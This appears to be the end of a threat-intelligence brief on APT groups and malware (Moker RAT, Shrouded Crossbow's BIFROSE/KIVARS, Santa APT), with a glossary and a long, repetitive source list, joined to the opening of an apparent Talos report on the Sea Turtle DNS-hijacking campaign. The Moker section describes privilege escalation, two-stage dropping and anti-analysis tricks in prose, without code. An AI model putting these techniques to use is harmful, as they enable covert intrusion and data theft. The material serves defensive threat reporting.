Another tool, xkat.exe, operates from the Dbgv.sys driver to delete files and kill processes.
Kaspersky Lab 62 claims to have seen the tool used to remove malware from competitor groups from Hellsing victim systems.
Moker In October 2015, Israeli cyber-security firm Ensilo discovered a remote access Trojan (RAT), dubbed Moker, inside the sensitive network of a customer.
A RAT is not an APT.
Malware is the tool that supports the APT campaign.
However, Ensilo contends that the RAT is complex enough to suggest that it may be developed and deployed by an emerging APT group.
The quality of the code is high.
The code checks its return values, validates its pointers, handles its exceptions, and prevents buffer overflows.
The malware also contains obfuscation measures to inhibit deconstruction and analysis attempts.
Since the digital signatures of the malware did not register on Virus Total (a research tool for recognizing malware signatures), and because the malware itself contains features dissimilar to other campaigns, there is the possibility that the security firm either uncovered an undiscovered malware campaign or that they caught a threat as it emerged.
Neither the identity of the developer of the malware nor the infection vectors are known.
The malware targets the operating system of Microsoft Windows hosts.
The single sample of the malware discovered communicated with a domain that corresponded to a HTTP server in Montenegro.
Based on its efforts to communicate with the C2 infrastructure, Ensilo postulates that the server is owned by the attacker who hosts C2 infrastructure via a Virtual Private Server (VPS) or a static IP rather than a hacked domain or a shared hosting server.
Moker is a remote access Trojan (RAT) capable of seizing complete control of the victim system.
It generates a new administrative user account and it opens a RDP channel to allow the adversary to remotely access the infected system.
If the remote desktop service is disabled, the malware will attempt to enable it as a background service.
Moker establishes a persistent residence in the operating system files so that it appears a legitimate OS level process with system wide privileges and access to system settings.
In operation, the malware injects its malicious code into the legitimate code of different system processes.
In particular, it targets Explorer.exe, Svchost.exe, and csrss.exe.
In order to execute code without the users consent and at higher privileges, Moker either infects a program that already runs at elevated privileges or it exploits a flaw in the design of Windows to elevate the privilege of the DLL.
In the latter case, Windows always loads certain DLLs from the system directory at escalated privileges as a result, Moker writes a file named ActionQueue.dll into the sysprep directory so that the malware always runs with elevated privileges.
Afterward, the malware modifies system sensitive files and system security settings so that it remains undetected for 63 as long as possible while maintaining access to the greatest amount of access to the system files.
The malware itself is capable of recording HTTP(s) traffic, taking screenshots, logging keystrokes, and exfiltrating files.
The malware also enables the attacker to use the infected machine as a proxy server, similar to a Socks server, so that the adversary can navigate the local network.
The malware contains a hidden control panel module which allows the adversary to direct it and access the malware without an active internet connection.
Consequently, the malicious actor can exploit a VPN connection and legitimate, stolen user credentials to operate the malware on infected air-gapped systems.
The local access panel may have been an intentional feature added by the developer so that malicious activity might be confused for the activity of a legitimate employee who VPNed into the system.
Alternately, it could be a developer tool that was mistakenly left in the malware.
The malware features significant anti-analysis and anti-debugging techniques to inhibit deconstruction and investigation of the form and functionality of the malware.
Moker bypasses or disables antivirus, renders Microsoft Windows user access controls ineffective, and confounds sandboxing and virtual machine analysis with encryption and multistage installation.
The malware evades signature based anti-virus and network monitoring solutions by compressing its code.
In an attempt to prevent sandbox and virtual analysis, Moker installs in two stages.
The first stage dropper contains no malicious code and only delivers the malware infrastructure.
Upon successful installation and validation that the infected environment is a legitimate target, the first dropper calls a C2 server or a local directory for the second stage delivery.
The second stage of the malware is the malicious payload containing encrypted malware files and system monitoring tools.
If the environment is confirmed a legitimate target, then the first stage malware decrypts the payload and injects the malware into the victim system processes.
The malware also contains complex code and instructions that do nothing except deter deconstruction and analysis attempts.
Shrouded Crossbow The Shrouded Crossbow group has been active since 2010, typically targeting companies that are close to governments and key industries in Asia.
Common targets include government contractors, privatized government agencies, companies involved with consumer electronics, the computer industry, the healthcare sector, and financial industries.
The malicious team is predicted to be about ten people, equipped with significant resources.
Rather than develop its own attack kits and malware, the group uses its significant resources to purchase source code 64 and tools from other authors.
Afterward, members of the group improve the code to suit their specifications.
The group employs the BIFROSE/ Bifrost, KIVARS, and XBOW backdoors in their attacks.
As an indicator of resources available to the group, Trend Micro notes that BIFROSE has sold for more than 10,000 on underground sites.
BIFROSE has been around for about a decade and has been used in spam campaigns against NATO and United States government agencies.
BIFROSE is a remote access Trojan (RAT) which establishes a persistent presence and then deploys tools to capture keystrokes, screenshots, and confidential information.
Trend Micro actually believes that the group purchased the source code of BIFROSE, and then developed a new installer, created unique loader-backdoor pairs, and simplified the backdoor capabilities, thereby resulting in KIVARS.
KIVARS is also available as a 64-bit variant.
The group developed XBOW on their own, based on BIFROSE and KIVARS.
The malware is delivered via spear phishing emails containing malicious .RAR files or .EXE.
The email topics are generally breaking news, resumes, government data, or meeting requests.
The malware corresponds to a CC network of about 100 servers registered to free dynamic DNS or discrete IP addresses.
The CC servers appear to be organized according to the actors use.
IP address changes and renewal of domains happen according to an organized schedule.
Trend Micro suspects that in addition to the 10-member development team, the malware group may employ separate teams to design and deploy the malicious emails and to maintain the CC infrastructure.
Santa APT Cloudsek, a Canadian Cyber Security firm, detected the activity of a suspected criminal advanced persistent threat group over the 2015 holiday season.
The group, dubbed Santa APT because some of their malware masqueraded as Santa Claus applications, steals intellectual property for economic gain.
Cloudsek believes that the malware developers are located in South Asia.
The group came to the attention of security professionals who noticed them selling information stealer malware, capable of jumping air gapped systems, on underground markets.
The attackers were using the malware to steal classified data from software companies and government organizations.
The malware collects files and screenshots and stores them in hidden files on any connected USB device.
When the device is connected to an internet enabled system, the data is sent back to command and control infrastructure located in Germany.
Empty voice recording and key log files on the C2C servers suggest that the malware is still under development.
Cloudsek claims to have found the malware attributed to the group masquerading as Santa Claus mobile games, which had infected about 8000 systems.
The malware stole contact lists, SMS messages, call records, location information, 65 calendars, pictures, video, environment readings, camera specifications, browser history, program information, sim card information, and device status.
The mobile malware communicated with the C2C infrastructure via HTTP about once a minute.
The C2C servers corresponding to the mobile infrastructure had separate login sections for user profiles and for administrative profiles.
The victim information was organized according to user and then according to data type.
The attacker could also arm the malware to send them an SMS alert if the victim left a regional area.
This could allow the actor to track whether a victim has left home or the office, in real time.
The adversary could also receive regular updates if a particular victim received an SMS message or phone call.
Cloudsek used passive DNS to track the group activity of a South Asian company that sells spy software to monitor employees.
The company is recruiting mobile application developers for iPhone and Android.
Conclusion: The conglomeration of hacktivists, state sponsored hackers and cyber mercenaries are continuously targeting American corporations, organizations, Universities and government networks.
The malicious element is winning because the United States lacks proper cyber hygiene and has yet to expedite a path to a cybersecurity-centric culture.
Metaphors matter as the language to describe cyberattacks today shape the legislative communitys constitutional adherence in future policy.
The reader is cautioned to be weary of the new clich Cyberwar continuously being used as a kneejerk reaction in times of panic.
As we experience warlike tactics being used by a wide variety of bad actors (with a multitude of motivations) in a cyber setting it will be important to distinctively separate what defines cyberwar from cyber conflict, cyberattack and cyber espionage as each term holds a different variant of retribution and/or penalties.
American industry as a whole is an easy target because seasoned adversaries are breaching virtually defenseless networks.
Organizations are encouraged to follow, at a minimum the latest NIST Standards for Critical Infrastructure Cybersecurity.
A vigilant approach to cyber and social engineering education, application patching, technical abnormality notifications etc.
are paramount for organizations striving to minimize attack surface and maximize defenses.
Even with multi-factor authentication and cybersecurity protocols in place, breaches will happen.
Optimized cybersecurity strategies will use early warning mechanisms such as behavioral analytics and behavioral biometrics coupled with multilayered encryption.
This Tar Pit method will slow down a breach, alert the proper administrator and minimize 66 threat.
That said, even the most robust cybersecurity strategy is useless if the bad actor has obtained legitimate admin credentials, therefore education is essential.
Spear Phishing is one commonality shared by a majority of hacking events.
Spoofed URLs, watering hole attacks etc.
are all dependent on getting the target to click on a link or open an attachment that carries the malicious code that will infect ones network the objective is to train staff to identify these subtleties that will have catastrophic impact.
Targeted advanced persistent threats will continue to multiply and become more sophisticated.
Optimal application of the most up-to-date defense technologies is the first step in demotivating hackers from attempting to breach ones network as attackers will typically pick the path of least resistance and complexity.
Understanding the enemy and learning from past mistakes while planning for new threats based on reliable research must be part of every associations cyber strategy.
67 Appendix I: Terms Malware  Malware is the catch-all term for any malicious code.
Malware can take the form of viruses, Trojan horses, worms, ransomware, spyware, adware, scareware, or malicious programs.
Virus  A computer virus is malicious code that replicates itself when executed, and may infect other programs or systems.
Trojan  A Trojan horse is a malicious program that tricks the user into installing it, by misrepresenting itself as a useful or desirable process or program.
Worm  A computer worm is a self-replicating malicious program that may spread to other computers and other networks.
Rootkit  A rootkit is malicious software that obfuscates its existence and that enables an attacker to access a system or its files.
Vulnerability  A vulnerability consists of a flaw in system (e.g.
a flaw in the code), attackers access to that flaw, and the attackers ability to exploit the flaw.
Zero-day Vulnerability  A software flaw is that present at launch, but unknown to the software vendor.
Often, zero-day vulnerabilities are repaired by the vendor through software patches.
Zero-day Exploit  Zero-day exploits are harmful vulnerabilities that are not discovered or are not repaired by the vendor.
Zero-day exploits tend to be rare and expensive since the knowledge of their existence must remain secret lest vendors repair the vulnerability.
Backdoor  A hidden program, or program component, that allows unauthorized remote access to a computer.
68 Registry  The system registry is the database of system hardware information, profile information, installed programs, and settings.
Privilege Escalation  Privilege escalation is the exploitation of a bug, design flaw, or configuration oversight which grants elevated access to resources that are normally protected from an application or user.
Command and Control Server  Command and control servers are also referred to as a C2 server or a CC server.
C2 servers are the centralized system that issues commands and receives outputs from infected machines (a botnet).
Legacy System  Legacy systems are old or outdated systems that are not compatible with modern applications or programs.
SCADA System  A Supervisory Control and Data Acquisition (SCADA) system operates with coded signals over communication channels to provide control of remote equipment.
Virtual File System  A virtual file system is an abstract layer on top of the user file system.
A virtual file system allows its user to access applications across multiple file systems.
Air-gapped System  An airgapped system is not connected to the internet and is not directly connected to any systems that are connected to the internet.
Exfiltration  The process of removing data from a system.
Adversary  The attacker, hacker, enemy nation-state, or malicious actor targeting a system.
Advanced Persistent Threat  A group of attackers or developers who are sophisticated, persistent, and who have access to significant resources.
69 Common Attack Vectors Phishing (spam)  Most breaches are the result of human error, such as an employee opening a malicious email.
Phishing campaigns consist of sending massive amounts of malicious emails which contain either malicious links or malicious attachments.
The user system is infected with malware if they follow the link to a landing page or if they open the attachment.
Even though most recipients of the email will ignore it, phishing is successful because it is cheap and the relative gain of even one infected computer resulting from millions of sent emails is high.
Spear Phishing  Spear Phishing is the process of sending tailored emails to specific targets of value to the attackers.
Spear phishing emails require the attacker to know more information about the target and as a result, they can be very convincing, even to trained security professionals.
Watering hole Attack  In a watering hole attack, the adversary either infects or spoofs websites that are often visited by members of the target organization.
When users visit the website, the adversary can infect their system with malware.
USB/ Air-gapped Attack  Airgapped network attacks are sophisticated techniques of infecting systems that are not connected to the internet, and in some cases not connected to other systems, with malware.
Attackers can infect storage media in hopes that it will be plugged into the system, they can infect software updates to the system, or they can infect systems connected to the target and exploit the connection to install malware.
70 This Brief was authored by: James Scott (ICIT Senior Fellow  Institute for Critical Infrastructure Technology) Drew Spaniel (ICIT Visiting Scholar, Carnegie Mellon University) Contact Information Legislative Branch Inquiries: James Scott, Senior Fellow, ICIT  (jamesicitech.org, 202-774-0848) Federal Agencies, Executive Branch and Fellow Inquiries: Parham Eftekhari, Senior Fellow, ICIT  (parhamicitech.org, 773-517-8534) Links Website:           www.icitech.org Social Media: https://twitter.com/ICITorg https://www.linkedin.com/company/institute-for-critical-infrastructure-technology- icit- https://www.facebook.com/ICITorg mailto:jamesicitech.org mailto:parhamicitech.org http://www.icitech.org/ https://twitter.com/ICITorg https://www.linkedin.com/company/institute-for-critical-infrastructure-technology-icit- https://www.linkedin.com/company/institute-for-critical-infrastructure-technology-icit- https://www.facebook.com/ICITorg 71 Sources ARS Technica: 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http://www.bloomberg.com/bw/articles/2013-05-23/how-the-u-dot-s-dot-government- hacks- the-world http://www.bloomberg.com/news/articles/2013-06-25/s-korea-president-s-websites- closed- for-review Berkeley Varitronics Systems: https://www.bvsystems.com/WordPress/?tagguardians-of-peace Breaking Malware: http://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the- microscope/ http://breakingmalware.com/malware/moker-part-2-capabilities/ Cloudsek: https://www.cloudsek.com/announcements/blog/apt-malware-masquerade-as-christmas- apps-and-santa-claus/ ComputerWorld: http://www.computerworld.com/article/3014474/security/cyberspy-group-resurrects-12- year-old-bifrose-backdoor.htmltk.rss_all CNet: http://www.theatlantic.com/international/archive/2011/08/syrias-digital-counter-revolutionaries/244382/ http://www.theatlantic.com/international/archive/2011/08/syrias-digital-counter-revolutionaries/244382/ http://www.theatlantic.com/international/archive/2011/08/syrias-digital-counter-revolutionaries/244382/ http://www.bbc.com/news/technology-30189029 http://betanews.com/2015/04/22/anonymous-lulzsec-guardians-of-peace-a-guide-to-the-most-notorious-hacking-groups/ http://betanews.com/2015/04/22/anonymous-lulzsec-guardians-of-peace-a-guide-to-the-most-notorious-hacking-groups/ http://betanews.com/2015/04/22/anonymous-lulzsec-guardians-of-peace-a-guide-to-the-most-notorious-hacking-groups/ http://www.bloomberg.com/bw/articles/2013-05-23/how-the-u-dot-s-dot-government-hacks-the-world http://www.bloomberg.com/bw/articles/2013-05-23/how-the-u-dot-s-dot-government-hacks-the-world http://www.bloomberg.com/bw/articles/2013-05-23/how-the-u-dot-s-dot-government-hacks-the-world http://www.bloomberg.com/news/articles/2013-06-25/s-korea-president-s-websites-closed-for-review http://www.bloomberg.com/news/articles/2013-06-25/s-korea-president-s-websites-closed-for-review http://www.bloomberg.com/news/articles/2013-06-25/s-korea-president-s-websites-closed-for-review https://www.bvsystems.com/WordPress/?tagguardians-of-peace http://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/ http://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/ http://breakingmalware.com/malware/moker-part-2-capabilities/ https://www.cloudsek.com/announcements/blog/apt-malware-masquerade-as-christmas-apps-and-santa-claus/ https://www.cloudsek.com/announcements/blog/apt-malware-masquerade-as-christmas-apps-and-santa-claus/ http://www.computerworld.com/article/3014474/security/cyberspy-group-resurrects-12-year-old-bifrose-backdoor.htmltk.rss_all http://www.computerworld.com/article/3014474/security/cyberspy-group-resurrects-12-year-old-bifrose-backdoor.htmltk.rss_all 73 http://www.cnet.com/news/us-army-website-offline-after-hack-by-syrian-electronic- army/ CrowdStrike: http://blog.crowdstrike.com/ironman-deep-panda-uses-sakula-malware-target- organizations- multiple-sectors/ http://blog.crowdstrike.com/cat-scratch-fever-crowdstrike-tracks-newly-reported- iranian-actor- flying-kitten/ Cyber War Zone: http://cyberwarzone.com/whitepaper-russian-cyber-espionage-campaign-sandworm- team- 2014-free-download/ Cylance: http://www.cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf.
Deepdotweb: https://www.deepdotweb.com/2014/11/20/apt-attacks-via-tor-network-onionduke/ Electronic Frontier Foundation: https://www.eff.org/deeplinks/2014/03/new-nsa-slides-reveal-tailored-access-run-amok Ensilo: http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network Enigma Software: http://www.enigmasoftware.com/mirage-removal/ Epoch Times: http://www.theepochtimes.com/n3/1914960-china-security-in-cybersecurity-the-chinese- regime-has-become-the-boy-who-cried-wolf/ F-Secure Labs: http://www.cnet.com/news/us-army-website-offline-after-hack-by-syrian-electronic-army/ http://www.cnet.com/news/us-army-website-offline-after-hack-by-syrian-electronic-army/ http://blog.crowdstrike.com/ironman-deep-panda-uses-sakula-malware-target-organizations-multiple-sectors/ http://blog.crowdstrike.com/ironman-deep-panda-uses-sakula-malware-target-organizations-multiple-sectors/ http://blog.crowdstrike.com/ironman-deep-panda-uses-sakula-malware-target-organizations-multiple-sectors/ http://blog.crowdstrike.com/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/ http://blog.crowdstrike.com/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/ http://blog.crowdstrike.com/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/ http://cyberwarzone.com/whitepaper-russian-cyber-espionage-campaign-sandworm-team-2014-free-download/ http://cyberwarzone.com/whitepaper-russian-cyber-espionage-campaign-sandworm-team-2014-free-download/ http://cyberwarzone.com/whitepaper-russian-cyber-espionage-campaign-sandworm-team-2014-free-download/ http://www.cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf https://www.deepdotweb.com/2014/11/20/apt-attacks-via-tor-network-onionduke/ https://www.eff.org/deeplinks/2014/03/new-nsa-slides-reveal-tailored-access-run-amok http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network http://www.enigmasoftware.com/mirage-removal/ http://www.theepochtimes.com/n3/1914960-china-security-in-cybersecurity-the-chinese-regime-has-become-the-boy-who-cried-wolf/ http://www.theepochtimes.com/n3/1914960-china-security-in-cybersecurity-the-chinese-regime-has-become-the-boy-who-cried-wolf/ 74 https://www.f- secure.com/weblog/archives/00002718.html?tduidff8c6c422cb66b85a8ae21edb2f 35886 https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf f secure black energy https://www.f-secure.com/documents/996508/201030745/CozyDuke.
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf.
FireEye: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf.
Forbes: http://www.forbes.com/sites/katevinton/2015/06/08/syrian-electronic-army-claims- responsibility-for-hacking-army-website/ GData: https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GD ata_U roburos_RedPaper_EN_v1.pdf.
HIS talk: http://histalk2.com/2015/02/09/readers-write-fact-and-fiction-about-anthems-breach/ The Huffington Post: http://www.huffingtonpost.com/2015/05/14/washington-post-hacked- syrian- army_n_7285382.html IbTimes: http://www.ibtimes.com/us-confirms-blackenergy-malware-used-ukrainian-power-plant- hack-2263008 Information Week Dark Reading: http://www.darkreading.com/security-companies-team-up-take-down-chinese- hacking- group/d/d-id/1317006 http://www.darkreading.com/attacks-breaches/with-operation-cleaver-iran-emerges-as-a- cyberthreat/d/d-id/1317861 https://www.f-secure.com/weblog/archives/00002718.html?tduidff8c6c422cb66b85a8ae21edb2f35886 https://www.f-secure.com/weblog/archives/00002718.html?tduidff8c6c422cb66b85a8ae21edb2f35886 https://www.f-secure.com/weblog/archives/00002718.html?tduidff8c6c422cb66b85a8ae21edb2f35886 http://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf https://www.f-secure.com/documents/996508/201030745/CozyDuke https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf http://www.forbes.com/sites/katevinton/2015/06/08/syrian-electronic-army-claims-responsibility-for-hacking-army-website/ http://www.forbes.com/sites/katevinton/2015/06/08/syrian-electronic-army-claims-responsibility-for-hacking-army-website/ https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf http://histalk2.com/2015/02/09/readers-write-fact-and-fiction-about-anthems-breach/ http://www.huffingtonpost.com/2015/05/14/washington-post-hacked-syrian-army_n_7285382.html http://www.huffingtonpost.com/2015/05/14/washington-post-hacked-syrian-army_n_7285382.html http://www.huffingtonpost.com/2015/05/14/washington-post-hacked-syrian-army_n_7285382.html http://www.ibtimes.com/us-confirms-blackenergy-malware-used-ukrainian-power-plant-hack-2263008 http://www.ibtimes.com/us-confirms-blackenergy-malware-used-ukrainian-power-plant-hack-2263008 http://www.darkreading.com/security-companies-team-up-take-down-chinese-hacking-group/d/d-id/1317006 http://www.darkreading.com/security-companies-team-up-take-down-chinese-hacking-group/d/d-id/1317006 http://www.darkreading.com/security-companies-team-up-take-down-chinese-hacking-group/d/d-id/1317006 http://www.darkreading.com/attacks-breaches/with-operation-cleaver-iran-emerges-as-a-cyberthreat/d/d-id/1317861 http://www.darkreading.com/attacks-breaches/with-operation-cleaver-iran-emerges-as-a-cyberthreat/d/d-id/1317861 75 Infosec Institute: http://resources.infosecinstitute.com/equation-group-apt-tao-nsa-two-hacking- arsenals- similar/ http://resources.infosecinstitute.com/animal-farm-apt-and-the-shadow-of-france- intelligence/ International Business Times: http://www.ibtimes.com/deep-panda-group-wasnt-behind-massive-opm-hack-other- chinese- hackers-were-fireeye-1975658 http://www.ibtimes.com/fbi-formally-blames-north-korea-sony-hack-chinese- involvement- under-investigation-1763579 ISight Partners: http://www.isightpartners.com/2014/10/sandworm-team-targeting-scada-systems/ http://www.isightpartners.com/2014/07/weeks-threatscape-media-highlights-update-14/ Kaspersky Lab http://www.kaspersky.com/about/news/virus/2015/equation-group-the-crown- creator-of- cyber-espionage http://www.kaspersky.com/about/news/virus/2015/Blue-Termite-A-Sophisticated-Cyber- Espionage-Campaign-is-After-High-Profile-Japanese-Targets http://usa.kaspersky.com/internet-security-center/threats/cosmicduke-malware-virus- definition.
VpYhnFLKM40 http://www.kaspersky.com/about/news/virus/2013/Kaspersky_Lab_Identifies_MiniDuke _a_New_Malicious_Program_Designed_for_Spying_on_Multiple_Government_Entities _and_Institutions_Across_the_World http://www.kaspersky.com/about/news/virus/2012/Resource_207_Kaspersky_Lab_Resea rch_Proves_that_Stuxnet_and_Flame_Developers_are_Connected https://blog.kaspersky.com/billion-dollar-apt-carbanak/7519/ http://www.kaspersky.com/about/news/virus/2014/Kaspersky-Lab-sheds-light-on- Darkhotels-where-business-executives-fall-prey-to-an-elite-spying-crew Krebs on Security: http://resources.infosecinstitute.com/equation-group-apt-tao-nsa-two-hacking-arsenals-similar/ http://resources.infosecinstitute.com/equation-group-apt-tao-nsa-two-hacking-arsenals-similar/ http://resources.infosecinstitute.com/equation-group-apt-tao-nsa-two-hacking-arsenals-similar/ http://resources.infosecinstitute.com/animal-farm-apt-and-the-shadow-of-france-intelligence/ http://resources.infosecinstitute.com/animal-farm-apt-and-the-shadow-of-france-intelligence/ http://www.ibtimes.com/deep-panda-group-wasnt-behind-massive-opm-hack-other-chinese-hackers-were-fireeye-1975658 http://www.ibtimes.com/deep-panda-group-wasnt-behind-massive-opm-hack-other-chinese-hackers-were-fireeye-1975658 http://www.ibtimes.com/deep-panda-group-wasnt-behind-massive-opm-hack-other-chinese-hackers-were-fireeye-1975658 http://www.ibtimes.com/fbi-formally-blames-north-korea-sony-hack-chinese-involvement-under-investigation-1763579 http://www.ibtimes.com/fbi-formally-blames-north-korea-sony-hack-chinese-involvement-under-investigation-1763579 http://www.ibtimes.com/fbi-formally-blames-north-korea-sony-hack-chinese-involvement-under-investigation-1763579 http://www.isightpartners.com/2014/10/sandworm-team-targeting-scada-systems/ http://www.isightpartners.com/2014/07/weeks-threatscape-media-highlights-update-14/ http://www.kaspersky.com/about/news/virus/2015/equation-group-the-crown-creator-of-cyber-espionage http://www.kaspersky.com/about/news/virus/2015/equation-group-the-crown-creator-of-cyber-espionage http://www.kaspersky.com/about/news/virus/2015/equation-group-the-crown-creator-of-cyber-espionage http://www.kaspersky.com/about/news/virus/2015/Blue-Termite-A-Sophisticated-Cyber-Espionage-Campaign-is-After-High-Profile-Japanese-Targets http://www.kaspersky.com/about/news/virus/2015/Blue-Termite-A-Sophisticated-Cyber-Espionage-Campaign-is-After-High-Profile-Japanese-Targets http://usa.kaspersky.com/internet-security-center/threats/cosmicduke-malware-virus-definition.
VpYhnFLKM40 http://usa.kaspersky.com/internet-security-center/threats/cosmicduke-malware-virus-definition.
VpYhnFLKM40 http://www.kaspersky.com/about/news/virus/2013/Kaspersky_Lab_Identifies_MiniDuke_a_New_Malicious_Program_Designed_for_Spying_on_Multiple_Government_Entities_and_Institutions_Across_the_World http://www.kaspersky.com/about/news/virus/2013/Kaspersky_Lab_Identifies_MiniDuke_a_New_Malicious_Program_Designed_for_Spying_on_Multiple_Government_Entities_and_Institutions_Across_the_World http://www.kaspersky.com/about/news/virus/2013/Kaspersky_Lab_Identifies_MiniDuke_a_New_Malicious_Program_Designed_for_Spying_on_Multiple_Government_Entities_and_Institutions_Across_the_World http://www.kaspersky.com/about/news/virus/2012/Resource_207_Kaspersky_Lab_Research_Proves_that_Stuxnet_and_Flame_Developers_are_Connected http://www.kaspersky.com/about/news/virus/2012/Resource_207_Kaspersky_Lab_Research_Proves_that_Stuxnet_and_Flame_Developers_are_Connected https://blog.kaspersky.com/billion-dollar-apt-carbanak/7519/ http://www.kaspersky.com/about/news/virus/2014/Kaspersky-Lab-sheds-light-on-Darkhotels-where-business-executives-fall-prey-to-an-elite-spying-crew http://www.kaspersky.com/about/news/virus/2014/Kaspersky-Lab-sheds-light-on-Darkhotels-where-business-executives-fall-prey-to-an-elite-spying-crew 76 http://krebsonsecurity.com/tag/the-elderwood-project/ The New Yorker: http://www.newyorker.com/tech/elements/syrias-other-army-how-the-hackers-wage-war NCC Group: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2014/july/a-new- flying- kitten/ Novetta: http://www.novetta.com/files/5614/1329/6232/novetta_cybersecurity_exec_summary- 3.pdf Recorded Future: https://www.recordedfuture.com/russian-malware-analysis/ Reuters: http://www.reuters.com/article/2015/06/21/us-cybersecurity-usa-deep- panda- idUSKBN0P102320150621 http://www.reuters.com/article/2014/12/05/us-sony-cybersecurity-northkorea- idUSKCN0JJ08B20141205 SC Magazine: http://www.scmagazine.com/researchers-observe-animal-farm-group-using-variety-of- malware/article/402477/ Schneier on Security: https://www.schneier.com/blog/archives/2013/12/more_about_the.html Secure List: https://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/ https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf.
https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyber espionage_actor_returns.pdf.
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DNS Hijacking Abuses Trust In Core Internet Service blog.talosintelligence.com/2019/04/seaturtle.html Authors: Danny Adamitis, David Maynor, Warren Mercer, Matthew Olney and Paul Rascagneres.
Update 4/18: A correction has been made to our research based on feedback from Packet Clearing House, we thank them for their assistance Preface This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems.
While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system.
DNS is a foundational technology supporting the Internet.
Manipulating that system has the potential to undermine the trust users have on the internet.
That trust and the stability of the DNS system as a whole drives the global economy.
Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.
Executive Summary 1/13 https://blog.talosintelligence.com/2019/04/seaturtle.html https://3.bp.blogspot.com/-ksOHISXuYNU/XLX7wzGSHNI/AAAAAAAAAgI/Ffst6mMQLNIBQP1F1gRMNCYEu2-jdZr6ACEwYBhgL/s1600/image2.jpg https://twitter.com/dadamitis https://twitter.com/Dave_Maynor https://twitter.com/SecurityBeard https://twitter.com/kpyke https://twitter.com/r00tbsd https://2.bp.blogspot.com/-FQg4Ak28yDc/XLdL-8NlekI/AAAAAAAAAXw/wDpJRiXAEGEzPJo9bQ9PxqOG8rcGn6gWACK4BGAYYCw/s1600/DNSpionage-methodology-v2.png https://4.bp.blogspot.com/-NQC457__bD8/XLX7w7QGGOI/AAAAAAAAAgA/3nx4TTK6U1oHms5gRhGQRaw6TGmTo1H-ACEwYBhgL/s1600/image1.jpg Cisco Talos has discovered a new cyber threat campaign that we are calling Sea Turtle, which is targeting public and private entities, including national security organizations, located primarily in the Middle East and North Africa.
The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019.
Our investigation revealed that at least 40 different organizations across 13 different countries were compromised during this campaign.
We assess with high confidence that this activity is being carried out by an advanced, state-sponsored actor that seeks to obtain persistent access to sensitive networks and systems.
The actors behind this campaign have focused on using DNS hijacking as a mechanism for achieving their ultimate objectives.
DNS hijacking occurs when the actor can illicitly modify DNS name records to point users to actor-controlled servers.
The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24 2019, warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organizations domain names.
In the Sea Turtle campaign, Talos was able to identify two distinct groups of victims.
The first group, we identify as primary victims, includes national security organizations, ministries of foreign affairs, and prominent energy organizations.
The threat actor targeted third-party entities that provide services to these primary entities to obtain access.
Targets that fall into the secondary victim category include numerous DNS registrars, telecommunication companies, and internet service providers.
One of the most notable aspects of this campaign was how they were able to perform DNS hijacking of their primary victims by first targeting these third-party entities.
We assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage, which we reported on in November 2018.
The Sea Turtle campaign almost certainly poses a more severe threat than DNSpionage given the actors methodology in targeting various DNS registrars and registries.
The level of access we presume necessary to engage in DNS hijacking successfully indicates an ongoing, high degree of threat to organizations in the targeted regions.
Due to the effectiveness of this approach, we encourage all organizations, globally, to ensure they have taken steps to minimize the possibility of malicious actors duplicating this attack methodology.
The threat actors behind the Sea Turtle campaign show clear signs of being highly capable and brazen in their endeavors.
The actors are responsible for the first publicly confirmed case against an organizations that manages a root server zone, highlighting the attackers sophistication.
Notably, the threat actors have continued their attacks despite public reports documenting various aspects of their activity, suggesting they are unusually brazen and may be difficult to deter going forward.
In most cases, threat actors typically stop or slow down their activities once their campaigns are publicly revealed.
2/13 https://www.us-cert.gov/ncas/alerts/AA19-024A https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html https://www.netnod.se/news/statement-on-man-in-the-middle-attack-against-netnod This post provides the technical findings you would typically see in a Talos blog.
We will also offer some commentary on the threat actors tradecraft, including possible explanations about the actors attack methodology and thought process.
Finally, we will share the IOCs that we have observed thus far, although we are confident there are more that we have not seen.
Background on Domain Name Services and records management The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space.
This section provides a brief overview of where DNS records are managed and how they are accessed to help readers better understand how these events unfolded.
The first and most direct way to access an organizations DNS records is through the registrar with the registrants credentials.
These credentials are used to login to the DNS provider from the client-side, which is a registrar.
